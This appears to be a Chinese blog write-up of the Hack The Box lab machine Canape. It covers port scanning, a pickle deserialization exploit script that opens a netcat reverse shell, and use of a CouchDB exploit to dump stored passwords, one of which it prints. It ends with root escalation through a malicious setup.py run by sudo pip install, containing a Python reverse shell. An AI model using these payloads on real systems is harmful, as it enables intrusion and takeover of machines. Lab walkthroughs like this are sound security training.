其他分享
首页 > 其他分享> > hackthebox-Canape(pickle渗透 & couchdb渗透 & pip提权)

hackthebox-Canape(pickle渗透 & couchdb渗透 & pip提权)

作者:互联网

1、扫描

快速全局扫,再nmap根据具体扫。ssh开在了65535

masscan -p1-65535,U:1-65535 10.10.10.70 --rate=1000 -e tun0
nmap -A 10.10.10.70 -p80,65535

2、pickle渗透

根据nmap扫描结果,发现带git。加进本机的/etc/hosts

10.10.10.70 git.canape.htb canape.htb

git下载

git clone http://git.canape.htb/simpsons.git

里面有个ini.py,发现在用couchdb的数据库。另外就是使用了pickle模块
网上科普有很多。这篇文章讲了方法

https://lincolnloop.com/blog/playing-pickle-security/

在这里插入图片描述

修改下这个,运行,本机开监听,收到

import os
import cPickle
from hashlib import md5
import requests
 
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('homer:;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.15 4444 >/tmp/f',))
 
shellcode = cPickle.dumps(Exploit())
 
requests.post("http://10.10.10.70/submit", data={'character': shellcode.split(":")[0], 'quote': shellcode.split(":")[1]})
requests.post("http://10.10.10.70/check", data={'id': md5(shellcode.split(":")[0] + shellcode.split(":")[1]).hexdigest()})

3、couchdb渗透

之前我们看到py里在用这个端口数据库。查版本

curl http://localhost:5984

知道了是2版本,网上搜漏洞方法,有44498.py,传到靶机,运行。一罗串的密码,查用户,和多试试ssh登录,
homer:0B4jyA0xtytZi7esBNGp

searchsploit -m 44498
python 44498.py -p 5984 -u hax0r -P hax0r 127.0.0.1
curl http://hax0r:hax0r@127.0.0.1:5984/passwords/_all_docs
curl http://hax0r:hax0r@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4

在这里插入图片描述

ssh homer@10.10.10.70 -p 65535

4、提权

ssh登陆成功后 sudo -l
提示可以以root身份运行这个

homer@canape:~$ sudo -l
[sudo] password for homer: 
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *

这个是安装程序,
看能否执行安装py文件?随便弄了个看看
提示找不到homer目录下的setup.py
在这里插入图片描述

那么答案就出来了,在homer目录下建一个setup.py,里面放上弹shell代码

echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.15\",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > setup.py

最后执行。拿下

sudo /usr/bin/pip install .

在这里插入图片描述

标签:bin,homer,渗透,py,hax0r,提权,10.70,Canape,10.10
来源: https://blog.csdn.net/weixin_45527786/article/details/113790144